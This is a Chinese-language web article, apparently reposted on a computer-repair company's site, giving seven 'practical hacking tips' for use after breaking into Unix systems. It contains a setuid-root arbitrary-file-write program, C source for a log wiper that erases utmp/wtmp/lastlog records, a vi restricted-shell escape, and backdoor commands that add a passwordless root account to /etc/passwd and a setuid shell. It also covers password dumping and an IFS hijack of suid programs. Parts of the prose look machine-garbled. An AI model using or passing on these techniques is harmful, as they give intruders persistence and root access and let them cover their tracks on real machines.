黑客入侵实用技巧7则
侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "this program will upload up.txt ascii file to specified file\n" );
printf( "xxx copyright reserved\n" );
printf( "where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
file *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== null ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}
2、破坏现场
进入系统后,出来以前怎样破坏现场?抹掉自己的脚印?
编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器
例子:
#include
#include
#include
#include
#include
#include
#include
#include
#define wtmp_name "/usr/adm/wtmp"
#define utmp_name "/etc/utmp"
#define lastlog_name "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(utmp_name,o_rdwr))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), seek_cur);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1l;
if ((f=open(wtmp_name,o_rdwr))>=0) {
while(pos != -1l) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),l_xtnd);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1l;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),l_xtnd);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1l;
} else pos += 1l;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=null) {
if ((f=open(lastlog_name, o_rdwr)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("zap2!\n");
} else
printf("error.\n");
}
3、突破shell
很多打击系统的方法都需要打击者首先有一个命令行式的shell,如 /bin/csh 。但有些系统提提供用户的倒是菜单式的定制shell,如 pink 。以是如果你想打击这个系统的话,首先必需要突破这个定制shell。
我们可以使用 vi (unix中尺度的编辑器) 的一些命令来到达这个目的。详细过程如下:
(1).在定制shell中选择编辑文件,这时系统启动 vi。
(2).在 vi 中,输入以下命令序列细致:输入的命令包罗最后面的 ":" )
:set shell=/bin/csh
:shell
3.这时,就像在dos步伐的file菜单中选择dos shell菜单项一样,系统启动一个shell,而这个shell方才被我们设定成 /bin/csh,因而我们就得到了一个命令行式的unix shell。
4、后门
进入一个系统当前顺手留下一个后门确实是很好的习惯 这里先容几种简略的后门设置方法:
(1). setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简略方便.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0(root)的帐号,无口令.
(3). echo "+ wyj">>/.rhosts
即当地的名为wyj的用户可以间接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.条件是目标的port 512or513or514 opening.
5、用telnet上传文件
如果ftp被关了,sendmail也不可,如何把编译好的文件上传到主机呢?
方法很简略:
1.先把要上传的文件用uuedcode举行编码,文件会酿成大概下面的样子:
begin 644 file.bat
m.c!j95@t92tp,#503u!=:%=e6#5d9%!>,2q&1d9&1c$l1d9&,2pt4%]j
m95@t85!9+7@m04%28#!@*ctp,"500d])04%!049+04]"4$e$34-"04q%04i-
m3d-"2d%,24%!14u-3d-"1d5"24=&0t%%3d="1t1(0t=02$="2da#2$9(1$-!
m1ti(1$-!1t1"4$=.1ti"3t=(0t%#3t-/0t]#3t-/0t]!3d%+0t5!07%q<7$@
m"d!%0ta/($]&1b`*0t]062`e,"y"050@+t(@0si<0d%45de2+d-/32`o0b`o
e62`*0si<0d%45de2+d-/32`*1$5,($,z7$)!5%9)4by#3tt@"@``
`
end
sum -r/size 17903/262
全部都是可见的ascii字符了
2.用telnet连接到主机后输入
$ cat >a
然后用winodws的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下孕育发生文件a
3.uudecode a
文件回复复兴,然后chmod即可
6、破解shadow
很多系统下写一个小步伐不停的调用getpwent() 函数便能得到没有shadow过的暗码档
#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
7、从suid剧本或步伐中得到root
(1).如果该步伐中有包罗一个雷同下面的数据:
system("/bin/date")
这时你可以把自己的ifs改为"/":
ifs="/";export ifs # bourne shell
setenv ifs "/" # c shell
export ifs="/" # korn shell
这时你只要有一个你自己的软件途径调用了"bin",suid步伐就会运行你的步伐,并取代/bin/date
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|